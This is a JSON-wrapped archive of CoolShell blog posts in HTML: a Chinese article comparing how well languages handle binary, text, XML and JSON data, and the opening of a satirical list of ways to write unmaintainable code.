href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-29 语言的数据亲和力.html",
    "content": "<html><body><p><strong>[ 感谢 <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a>投递本文 ]</strong></p>\n<p><span style=\"font-family: 'Lucida Console';\">目前，程序设计语言似乎进入了一个蓬勃发展的时期，Javascript、Perl、Python、Ruby、Groovy等一批较新的语言正越来越多地被熟悉和使用，而C++、C#、Java等主流语言也在不断地融入函数式和动态性特征。程序员的百宝箱中可供选择的宝贝是越来多了，而社区中关于语言间的比较和争论也更为热烈，我们常常见到关于“面向过程和面向对象的比较”、“动态语言和静态语言的比较”、“命令式和函数式范式的比较”等比较。我注意到这类讨论的关注点多集中于设计相关话题，如“动态语言的Duck typing多态和静态语言的继承多态的比较”，“Prototype based和Class based的比较”等。但我认为还有一个十分重要的方面值得关注，这就是数据处理。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">数据处理之所以重要是因为不论是本地信息存储还是系统间信息交换都需要建立在一定的数据格式基础上。另外，不管语言属于那种范式，设计上采用什么模式，在微观层次上程序很大一部分工作都是在做数据处理。所以，从数据处理角度比较和理解语言间的差异有重要的现实意义。虽然数据通常是平台和语言无关的，但不同的语言在处理某种格式的数据时会表现出不同的难度，甚至某些数据格式只能采用特定的语言才能实现，这就是数据亲和力的不同。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">语言的数据亲和力(Data Affinity)指的是语言的数据模型与某种数据格式之间的匹配程度。语言对某种数据格式亲和力越强，则操作某类数据越容易。</span></p>\n<p> </p>\n<h4><strong><span style=\"font-family: 'Lucida Console';\">二进制字节块格式</span></strong></h4>\n<p> </p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">在偏底层的操作系统、嵌入式和通信系统中，二进制的字节块是最常见的一种数据格式。二进制数据布局紧凑和接近机器的特点使得它常常作为系统间通信或系统文件的数据格式，但一般高级语言都不方便直接和0101打交道，而是基于记录、结构体和类等结构化表示操作数据，这就存在着在底层的二进制字节块和高层的结构化数据直接的转换问题。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\"><span id=\"more-4905\"></span><br/>\n</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">C语言作为最主要的系统语言具有很高的字节块数据亲和力。这不仅因为C语言具有指针可以直接访问内存以外，还因为C的结构体(struct)可以和字节块建立起直接的映射关系。例如，在基于Socket连接的分布式系统中服务器端和客户端通过二进制的字节数据进行通信，通信双方只要事先定义共用的结构体，发送方先创建相应的结构体变量并填充字段，然后把变量对应的内存块copy到Socket，接收方从Socket读取字节块，然后把字节块强制类型转换为相应的结构体指针即可读取个字段信息。整个过程中通信的双方都没有复杂的信息编码和解码的过程。示例代码如下：</span></p>\n<pre class=\"EnlighterJSRAW\">struct t_data {\n    int version;\n    char type[10];\n    float value;\n};\n\n//发送方\nstruct t_data data;\ndata.version = 1;\nstrcpy(data.type,  “degree”);\ndata.value = 189.0;\nsend(socket,  &amp;data,  sizeof(data));\n\n//接收方\nstruct t_data data;\nread(socket,  &amp;data,  sizeof(data));\nprintf(“%d, %s, %f”, data.version,  data.type, data.value);</pre>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">上面的方法在实际应用中还需要注意内存对齐问题和大小端问题。内存对齐问题可以通过编译器预处理命令来进行控制，保证内存中struct结构与传输的字节块具有相同的对齐方式；大小端问题需要通信的双方采用同样的大小端方式，否则就需要进行转换。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">C++可以完全兼容C的结构体，但C++的类(包括class和struct)中如果定义了虚函数，则会丧失结构的字节块数据亲和力，这是C++编程时需要权衡的一个因素。而除了C/C++，其他语言中则难以见到字节块数据亲和力，其原因在于C/C++允许控制结构体/对象的内存布局，并允许对指针进行非类型安全的强制类型转换，这都是在Java，C#等语言中不允许的。所以，在Java、C#中进行字节块的编码解码就只能按照协议一个字段一个字段地按偏移量和长度进行解析。C/C++的指针以及结构体和内存的直接映射带来了对字节块数据的亲和力，但同时也留下了内存访问和类型安全的隐患；而Java、C#在拥有引用安全和类型安全的同时也失去了对字节块数据的亲和力。</span></p>\n<p> </p>\n<p> </p>\n<h4><span style=\"font-family: 'Lucida Console';\"><strong>文本格式</strong> </span></h4>\n<p><span style=\"font-family: 'Lucida Console';\">文本格式是另一种十分常见的数据格式。《Unix编程艺术》中是这样描述文本格式的：”Text streams are a valuable universal format because they’re easy for human beings to read, write, and edit without specialized tools ”。基于文本流的管道处理是一种备受赞誉的Unix风格。Shell可以通过管道把各种功能单一的命令串联起来，让文本流在管道上流动，因而Shell语言具有很好的文本数据亲和力。许多文本数据处理任务Bash都可以一行搞定，这就是Hacker们酷爱的One Liner风格。</span></p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">下面我们来看两个用Bash进行文本处理的例子：</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">1. 统计当前目录下的gz文件数目：</span></p>\n<p><code class=\"EnlighterJSRAW\">ls –l *.gz | wc –l</code></p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">2. 在Web服务器日子service.log中统计2011年6月26和27两天中每天中各页面的PV</span></p>\n<p><code class=\"EnlighterJSRAW\">cat service.log | grep  ^2011-06-2[6-7] | cut –d ‘ ‘ –f 1, 3 | sort | uniq –c</code></p>\n<p> </p>\n<p>service.log:</p>\n<p style=\"padding-left: 30px;\"><span style=\"font-family: 'Lucida Console';\">2011-06-25 13:00:55 /music/c.htm Safari<br/>\n…<br/>\n2011-06-26 08:01:23 /main.htm IE<br/>\n2011-06-26 08:03:01 /sports/b.htm Chrome<br/>\n…<br/>\n2011-06-27 11:41:06 /main.htm IE<br/>\n2011-06-27 11:52:41 /news/a.htm Firefox</span></p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">输出:</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"font-family: 'Lucida Console';\">210 2011-06-26 /main.htm<br/>\n231 2011-06-26 /news/a.htm<br/>\n155 2011-06-26 /sports/b.htm<br/>\n288 2011-06-27 /main.htm<br/>\n292 2011-06-27 /news/a.htm<br/>\n161 2011-06-27 /sports/b.htm</span></p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">上面的两个简单文本数据处理任务如果是在C或C++下实现则要麻烦得多，代码量至少是十几行或者数十行，加上编译调试，整个开发效率可能比Shell低一个数量级。除了Shell外，Perl也是以强大的文本数据处理而闻名的。我们来看一个Perl正则表达式的例子：</span></p>\n<pre class=\"EnlighterJSRAW\">while (&lt;STDIN&gt;) {\n    if (/hello\\s(\\w+)/i)  {\n        print “say hello to $1“\n     }\n     elsif (/goodbye\\s(\\w+)/i)  {\n         print “say goodbye to  $1”\n    }\n}</pre>\n<p><span style=\"font-family: 'Lucida Console';\">输入：</span></p>\n<p style=\"padding-left: 30px;\">HeLLo world</p>\n<p style=\"padding-left: 30px;\">Goodbye bug</p>\n<p><span style=\"font-family: 'Lucida Console';\">输出：</span></p>\n<p style=\"padding-left: 30px;\">say hello to world</p>\n<p style=\"padding-left: 30px;\">say goodbye to bug</p>\n<p><span style=\"font-family: 'Lucida Console';\">上面的例子中我们看到Perl直接进行字符串匹配并进行数据提取的强大威力。Perl基于正则表达式的字符串处理不仅比C/C++等系统语言更强大，甚至比Python这样的动态语言也更强大和更方便，这是因为正则表达式是Perl语言的“一等公民”，这就使得Perl比其他以库的方式支持正则表达式功能的语言具有更好的文本数据亲和力。后来的Ruby也学习Perl把直接在语言上支持正则表达式。</span></p>\n<p> </p>\n<h4><strong><span style=\"font-family: 'Lucida Console';\">结构化文本格式</span></strong></h4>\n<p><span style=\"font-family: 'Lucida Console';\">XML是最近十几年来流行起来的一种通用（半）结构化的文本数据交换格式。XML除具有一般文本格式的优点外，还具有表达复杂的层次信息的优势，所以它至诞生以来就被大量用于配置文件和各种Web Service中。现代程序设计基本都少不了了XML打交道，不过在C++、Java和C#集中静态类型语言中处理XML却并不是一件十分轻松的事情。我们先来看一个Java解析和构建下面这个XML的例子：</span></p>\n<pre class=\"EnlighterJSRAW\">&lt;langs type=\"current\"&gt;\n  &lt;language&gt;Java&lt;/language&gt;\n  &lt;language&gt;Groovy&lt;/language&gt;\n  &lt;language&gt;JavaScript&lt;/language&gt;\n&lt;/langs&gt;</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">//Java解析XML\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ntry {\n    DocumentBuilder db = dbf.newDocumentBuilder();\n    Document doc = db.parse(\"src/languages.xml\");\n    Element langs = doc.getDocumentElement();\n    System.out.println(\"type = \" + langs.getAttribute(\"type\"));\n    NodeList list = langs.getElementsByTagName(\"language\");\n    for(int i = 0 ; i &amp;lt; list.getLength();i++) {\n        Element language = (Element) list.item(i);\n        System.out.println(language.getTextContent());\n    }\n}catch(Exception e) {\n    e.printStackTrace();\n}\n\n//Java创建XML\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ntry {\n    DocumentBuilder db = dbf.newDocumentBuilder();\n    Document doc = db.newDocument();\n    Element langs = doc.createElement(\"langs\");\n    langs.setAttribute(\"type\", \"current\");\n    doc.appendChild(langs);\n\n    Element language1 = doc.createElement(\"language\");\n    Text text1 = doc.createTextNode(\"Java\");\n    language1.appendChild(text1);\n    langs.appendChild(language1);\n\n    Element language2 = doc.createElement(\"language\");\n    Text text2 = doc.createTextNode(\"Groovy\");\n    language2.appendChild(text2);\n    langs.appendChild(language2);\n    Element language3 = doc.createElement(\"language\");\n    Text text3 = doc.createTextNode(\"JavaScript\");\n    language3.appendChild(text3);\n    langs.appendChild(language3);\n} catch (Exception e) {\n    e.printStackTrace();\n}</pre>\n<p><span style=\"color: #800040; font-family: 'Lucida Console';\"><br/>\n</span> 为了解析和创建小小的一段XML代码需要编写如此冗长的Java代码，而实现同样的功能动态语言Groovy则十分简洁：</p>\n<pre class=\"EnlighterJSRAW\">//Groovy解析XML\ndef langs = new XmlParser().parse(\"languages.xml\")\nprintln \"type = ${langs.attribute(\"type\")}\"\nlangs.language.each{\n    println it.text()\n}\n//Groovy创建XML\ndef xml = new groovy.xml.MarkupBuilder()\nxml.langs(type:\"current\"){\n   language(\"Java\")\n   language(\"Groovy\")\n   language(\"JavaScript\")\n}</pre>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">上面Groovy操作XML的代码简洁而富有表达力，代码与XML几乎是一一对应的，如同直接在XML上进行操作的DSL一样，而相应的Java代码则看不到XML的影子。这说明Groovy具有很高的XML数据的亲和力。为什么Java和Groovy在XML亲和力方面有这样的差异呢？原因在于Java要求所有的方法和属性都必须先定义再调用，严格的静态类型检查使得Java只能把XML元素作为“二等公民”来表达；而Groovy则没有静态类型检查的限制，可以自由地使用方法和属性来表达XML结构。上面用Groovy创建XML的例子中，groovy.xml.MarkupBuilder类中实际上并没有langs, language这些方法，但会在调用的时候自动创建相应的XML结构。</span></p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">除了XML外，JSON是另一种通用的半结构化的纯文本数据交换格式，它常被视为轻量级的XML。JSON的本意是Javascript的对象表示(Javascript Object Notation)，它属于Javascript的语法子集，所以Javascript对JSON有原生的支持。下面就是一个在Javascript中创建JSON对象的例子：</span></p>\n<p>[javascript]var json = { “langs” :<br/>\n    {<br/>\n        \"type” : \"current”,<br/>\n       \"language” :  [\"Java”, \"Groovy”, \"Javascript”]<br/>\n    }<br/>\n}[/javascript]</p>\n<p><span style=\"font-family: 'Lucida Console';\">许多Javascript程序都会通过AJAX都从服务器获取JSON字符串，然后把字符串解析为JSON对象。由于Javascript对JSON的原生支持，所以，在Javascript中解析JSON字符串可以采用通用的eval方式，如：</span></p>\n<p>[javascript]var json = eval(“(\" +  jsonStr + “)\");</p>\n<p>alert(json.langs.type);[/javascript]</p>\n<p><span style=\"font-family: 'Lucida Console';\">甚至可以：</span></p>\n<p>[javascript]eval(“var json = ” +  jsonStr);</p>\n<p>alert(json.langs.type);[/javascript]</p>\n<p> </p>\n<p><span style=\"font-family: 'Lucida Console';\">不过eval的通用性带来了一定的安全隐患，所以一般只建议对受信任的数据源采用eval方式解析JSON，对于不受信任的数据源可以采用专门的JSON解析库。无论如何Javascript对JSON的原生支持都使得Javascript创建和解析JSON数据十分的简单，也就是说Javascript具有很高的JSON数据亲和力。另外，Groovy 1.8也加入了对JSON的原生支持，操作JSON与Javascript一样方便。</span></p>\n<h4><strong><span style=\"font-family: 'Lucida Console';\">总结</span></strong></h4>\n<p><span style=\"font-family: 'Lucida Console';\">到这里为止本文篇幅已经很长了，只能列举二进制字节块格式、文本格式和结构化文本格式3种典型的数据格式。实际上，数据亲和力的话题还有很多值得探讨的，比如C#的Linq。本文的探讨算是抛砖引玉，目的在于引起大家注意在比较语言的时候不要忽略了数据亲和力这样一个重要方面。本文的错误或不足，敬请指正，谢谢！</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-3 如何写出无法维护的代码.html",
    "content": "<html><body><p>酷壳里有很多我觉得很不错的文章，但是访问量最大的却是那篇《<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\" title=\"6个变态的C语言Hello World程序\">6个变态的Hello World</a>》，和它能在本站右边栏“<strong>全站热门</strong>”中出现的还有“<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\" title=\"如何加密/混乱C源代码\">如何加密源代码</a>”，以及<a href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\" title=\"编程真难啊\">编程真难啊</a>等这样的文章。可见本站的读者们的偏好，我也相信你们都是“身怀绝技”的程序员。所以，今天给大家推荐这篇文章，相信一定能触动大家的兴奋点。</p>\n<p>这篇文章的原文在这里（<a href=\"http://mindprod.com/jgloss/unmain.html\" target=\"_blank\">http://mindprod.com/jgloss/unmain.html</a>），我看完后我想说——</p>\n<ol>\n<li><strong>什么叫“创造力”，创造力就是——就算是要干一件烂事都能干得那么漂亮那么有创意的能力。</strong></li>\n<li><strong>什么叫“抓狂”，抓狂就是——以一种沉着老练的不屈不挠的一本正经的精神一点一点把你推向崩溃的边缘</strong>。</li>\n</ol>\n<p>我把文章节选了一些，也并没有完全翻译，简译一下，也加入了一些自己的调侃。对于有下面这些编程习惯的朋友，请大家对号入座。另外，维护程序的朋友们，你们死定了！！</p>\n<blockquote><p><img align=\"left\" alt=\"woodpecker\" border=\"0\" height=\"64\" src=\"http://mindprod.com/image/icon64/woodpecker.png\" width=\"64\"/>If builders built buildings the way programmers write programs, then the first woodpecker that came along would destroy civilization. （如果建筑师盖房子就像程序员写程序一样，那么，第一只到来的啄木鸟就能毁掉我们的文明）</p>\n<p>~ Gerald Weinberg (born: 1933-10-27 age: 77) <a href=\"http://www.geraldmweinberg.com/Site/Home.html\">Weinberg’s Second Law</a></p></blockquote>\n<h4>程序命名</h4>\n<ul>\n<li><strong>容易输入的名字</strong>。比如：Fred，asdf</li>\n<li><strong>单字母的变量名</strong>。比如：a,b,c, x,y,z（陈皓注：如果不够用，可以考虑a1,a2,a3,a4,….）</li>\n<li><strong>有创意地拼写错误</strong>。比如：SetPintleOpening， SetPintalClosing。这样可以让人很难搜索代码。</li>\n<li><strong>抽象</strong>。比如：ProcessData, DoIt, GetData… 抽象到就跟什么都没说一样。</li>\n<li><strong>缩写</strong>。比如：WTF，RTFSC …… （陈皓注：使用拼音缩写也同样给力，比如： BT，TMD，TJJTDS）</li>\n<li><strong>随机大写字母</strong>。比如：gEtnuMbER..</li>\n<li><strong>重用命名</strong>。在内嵌的语句块中使用相同的变量名有奇效。</li>\n<li><strong>使用重音字母</strong>。比如：int  ínt（注：第二个 ínt不是int）</li>\n<li><strong>使用下划线</strong>。比如：_, __, ___。</li>\n<li><strong>使用不同的语言</strong>。比如混用英语，德语，或是中文拼音。</li>\n<li><strong>使用字符命名</strong>。比如：slash, asterix, comma…</li>\n<li><strong>使用无关的单词</strong>。比如：god, superman, iloveu….</li>\n<li><strong>混淆l和1</strong>。字母l和数字1有时候是看不出来的。</li>\n</ul>\n<h4><span id=\"more-4758\"></span>伪装欺诈</h4>\n<ul>\n<li><strong>把注释和代码交织在一起</strong>。</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">for(j=0; j&lt;array_len; j+ =8)\n{\n    total += array[j+0 ];\n    total += array[j+1 ];\n    total += array[j+2 ]; /* Main body of\n    total += array[j+3]; * loop is unrolled\n    total += array[j+4]; * for greater speed.\n    total += array[j+5]; */\n    total += array[j+6 ];\n    total += array[j+7 ];\n}</pre>\n<ul>\n<li><strong>隐藏宏定义</strong>。如：#define a=b a=0-b，当人们看到a=b时，谁也想不到那是一个宏。</li>\n</ul>\n<ul>\n<li><strong>换行</strong>。如下所示，下面的示例使用搜索xy_z变得困难。</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">#define local_var xy\\\n_z // local_var OK</pre>\n<ul>\n<li><strong>代码和显示不一致</strong>。比如，你的界面显示叫postal code，但是代码里确叫 zipcode.</li>\n</ul>\n<ul>\n<li><strong>隐藏全局变量</strong>。把使用全局变量以函数参数的方式传递给函数，这样可以让人觉得那个变量不是全局变量。</li>\n</ul>\n<ul>\n<li><strong>使用同意词</strong>。如：</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">#define xxx global_var // in file std.h&amp;nbsp;\n#define xy_z xxx // in file ..\\other\\substd.h&amp;nbsp;\n#define local_var xy_z // in file ..\\codestd\\inst.h</pre>\n<ul>\n<li><strong>使用相似的变量名</strong>。如：单词相似，swimmer 和 swimner，字母相似：ilI1| 或 oO08。parselnt 和 parseInt， D0Calc 和 DOCalc。还有这一组：xy_Z, xy__z, _xy_z, _xyz, XY_Z, xY_z, Xy_z。</li>\n</ul>\n<ul>\n<li><strong>重载函数</strong>。使用相同的函数名，但是其功能和具体实现完全没有关系。</li>\n</ul>\n<ul>\n<li><strong>操作符重载</strong>。重载操作符可以让你的代码变得诡异，感谢CCTV，感谢C++。这个东西是可以把混乱代码提高到一种艺术的形式。比如：重载一个类的 ! 操作符，但实际功能并不是取反，让其返回一个整数。于是，如果你使用 ! ! 操作符，那么，有意思的事就发生了—— 先是调用类的重载 ! 操作符，然后把其返回的整数给 ! 成了 布尔变量，如果是 !!! 呢？呵呵。</li>\n</ul>\n<ul>\n<li><strong>#define</strong>。看过本站那些混乱代码的文章，你都会知道宏定义和预编译对于写出不可读的代码的重大意义。不过，一个具有想像力的东西是——在头文件中使用预编译来查看这个头文件被include了几次，而被include不同的次数时，其中的函数定义完全不一样。</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">#ifndef DONE\n#ifdef TWICE\n// put stuff here to declare 3rd time around\nvoid g(char* str);\n#define DONE\n#else // TWICE\n#ifdef ONCE\n// put stuff here to declare 2nd time around&lt;\nvoid g(void* str);\n#define TWICE\n#else // ONCE\n// put stuff here to declare 1st time around\nvoid g(std::string str);\n#define ONCE\n#endif // ONCE\n#endif // TWICE\n#endif // DONE</pre>\n<h4>文档和注释</h4>\n<ul>\n<li><strong>在注释中撒谎</strong>。你不用真的去撒谎，只需在改代码的时候不要更新注释就可以了。</li>\n<li><strong>注释明显的东西</strong>。比如：/* add 1 to i */。（参看本站的“<a href=\"https://coolshell.cn/articles/2746.html\" target=\"_blank\" title=\"五种应该避免的代码注释\">五种应该避免的注释</a>”）</li>\n<li><strong>只注释是什么，而不是为什么</strong>。</li>\n<li><strong>不要注释秘密</strong>。如果你开发一个航班系统，请你一定要保证每有一个新的航班被加入，就得要修改25个以上的位置的程序。千万别把这个事写在文档中。</li>\n<li><strong>注重细节</strong>。当你设计一个很复杂的算法的时候，你一定要把所有的详细细设计都写下来，没有100页不能罢休，段落要有5级以上，段落编号要有500个以上，例如：1.2.4.6.3.13 – Display all impacts for activity where selected mitigations can apply (short pseudocode omitted). 这样，当你写代码的时候，你就可以让你的代码和文档一致，如：Act1_2_4_6_3_13()</li>\n<li><strong>千万不要注释度衡单位</strong>。比如时间用的是秒还是毫秒，尺寸用的是像素还是英寸，大小是MB还是KB。等等。另外，在你的代码里，你可以混用不同的度衡单位，但也不要注释。</li>\n<li><strong>Gotchas</strong>。陷阱，千万不要注释代码中的陷阱。</li>\n<li><strong>在注释和文档中发泄不满</strong>。（参看本站的“<a href=\"https://coolshell.cn/articles/2746.html\" target=\"_blank\" title=\"五种应该避免的代码注释\">五种应该避免的注释</a>”）</li>\n</ul>\n<h4>程序设计</h4>\n<ul>\n<li><strong>Java Casts</strong>。Java的类型转型是天赐之物。每一次当你从Collection里取到一个object的时候，你都需要把其转回原来的类型。因些，这些转型操作会出现在N多的地方。如果你改变了类型，那么你不一定能改变所有的地方。而编译器可能能检查到，也可能检查不到。</li>\n<li><strong>利用Java的冗余</strong>。比如：Bubblegum b = new Bubblegom(); 和 swimmer = swimner + 1; 注意变量间的细微差别。</li>\n<li><strong>从不验证</strong>。从不验证输入的数据，从不验证函数的返回值。这样做可以向大家展示你是多么的信任公司的设备和其它程序员。</li>\n<li><strong>不要封装</strong>。调用者需要知道被调用的所有的细节。</li>\n<li><strong>克隆和拷贝</strong>。为了效率，你要学会使用copy + paste。你几乎都不用理解别人的代码，你就可以高效地编程了。（陈皓注：Copy + Paste出来的代码bug多得不能再多）</li>\n<li><strong>巨大的listener</strong>。写一个listener，然后让你的所有的button类都使用这个listener，这样你可以在这个listener中整出一大堆if…else…语句，相当的刺激。</li>\n<li><strong>使用三维数组</strong>。如果你觉得三维还不足够，你可以试试四维。</li>\n<li><strong>混用</strong>。同时使用类的get/set方法和直接访问那个public变量。这样做的好处是可以极大的挫败维护人员。</li>\n<li><strong>包装，包装，包装</strong>。把你所有的API都包装上6到8遍，包装深度多达4层以上。然后包装出相似的功能。</li>\n<li><strong>没有秘密</strong>。把所有的成员都声明成public的。这样，你以后就很难限制其被人使用，而且这样可以和别的代码造成更多的耦合度，可以让你的代码存活得更久。</li>\n<li><strong>排列和阻碍</strong>。把drawRectangle(height, width) 改成 drawRectangle(width, height)，等release了几个版本后，再把其改回去。这样维护程序的程序员们将不能很快地明白哪一个是对的。</li>\n<li><strong>把变量改在名字上</strong>。例如，把setAlignment(int alignment)改成，setLeftAlignment, setRightAlignment, setCenterAlignment。</li>\n<li><strong>Packratting</strong>。保留你所有的没有使用的和陈旧的变量，方法和代码。</li>\n<li><strong>That’s Fina</strong>l。Final你所有的子结点的类，这样，当你做完这个项目后，没有人可以通过继承来扩展你的类。java.lang.String不也是这样吗？</li>\n<li><strong>避免使用接口</strong>。在java中，BS接口，在C++中BS使用虚函数。</li>\n<li><strong>避免使用layout</strong>。这样就使得我们只能使用绝对坐标。如果你的老大强制你使用layout，你可以考虑使用GridBagLayout，然后把grid坐标hard code.</li>\n<li><strong>环境变量</strong>。如果你的代码需要使用环境变量。(getenv() – C++ / System.getProperty() – Java )，那么，你应该把你的类的成员的初始化使用环境变量，而不是构造函数。</li>\n<li><strong>使用Magic numbe</strong>r。参看《<a href=\"https://coolshell.cn/articles/4576.html\" target=\"_blank\" title=\"Linux 2.6.39-rc3的一个插曲\">Linux一个插曲</a>》。</li>\n<li><strong>使用全局变量</strong>。1）把全局变量的初始化放在不同的函数中，就算这个函数和这个变量没有任何关系，这样能够让我们的维护人员就像做侦探工作一样。2）使用全局变量可以让你的函数的参数变得少一些。</li>\n<li><strong>配置文件</strong>。配置文件主要用于一些参数的初始化。在编程中，我们可以让配置文件中的参数名和实际程序中的名字不一样。</li>\n<li><strong>膨胀你的类</strong>。让你的类尽可能地拥有各种臃肿和晦涩的方法。比如，你的类只实现一种可能性，但是你要提供所有可能性的方法。不要定义其它的类，把所有的功能都放在一个类中。</li>\n<li><strong>使用子类</strong>。面向对象是写出无法维护代码的天赐之物。如果你有一个类有十个成为（变量和方法）你可以考虑写10个层次的继承，然后把这十个属性分别放在这十个层次中。如果可能的话，把这十个类分别放在十个不同的文件中。</li>\n</ul>\n<h4>混乱你的代码</h4>\n<ul>\n<li><strong>使用XML</strong>。XML的强大是无人能及的。使用XML你可以把本来只要10行的代码变成100行。而且，还要逼着别人也有XML。（参看，<a href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\" title=\"信XML，得永生！\">信XML得永生</a>，<a href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\" title=\"信XML，得自信\">信XML得自信</a>）</li>\n<li><strong>混乱C代码</strong>。在《<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\" title=\"如何加密/混乱C源代码\">如何加密源代码</a>》中已经说过一些方法了，这里再补充一些。</li>\n<li><strong>使用不同的进制</strong>。比如：10 和010不是一样的。再比如：array = new int[]{   111,   120,   013,   121,};</li>\n<li><strong>尽量使用void*</strong>。然后把其转成各种类型</li>\n<li><strong>使用隐式的转型</strong>。C++的构造函数可以让你神不知鬼不觉得完成转型。</li>\n<li><strong>分解条件表达式</strong>。如：把 a==100分解成，a&gt;99 &amp;&amp; a&lt;101</li>\n<li><strong>学会利用分号</strong>。如：if ( a );else;{   int d;   d = c;}</li>\n<li><strong>间接转型</strong>。如：把double转string，写成new Double(d).toString() 而不是 Double.toString(d)</li>\n<li><strong>大量使用嵌套</strong>。一个NB的程序员可以在一行代码上使用超过10层的小括号（），或是在一个函数里使用超过20层的语句嵌套{}，把嵌套的if else 转成 [? :] 也是一件很NB的事。</li>\n<li><strong>使用C的变种数组</strong>。myArray[i] 可以变成*(myArray + i) 也可以变成 *(i + myArray) 其等价于 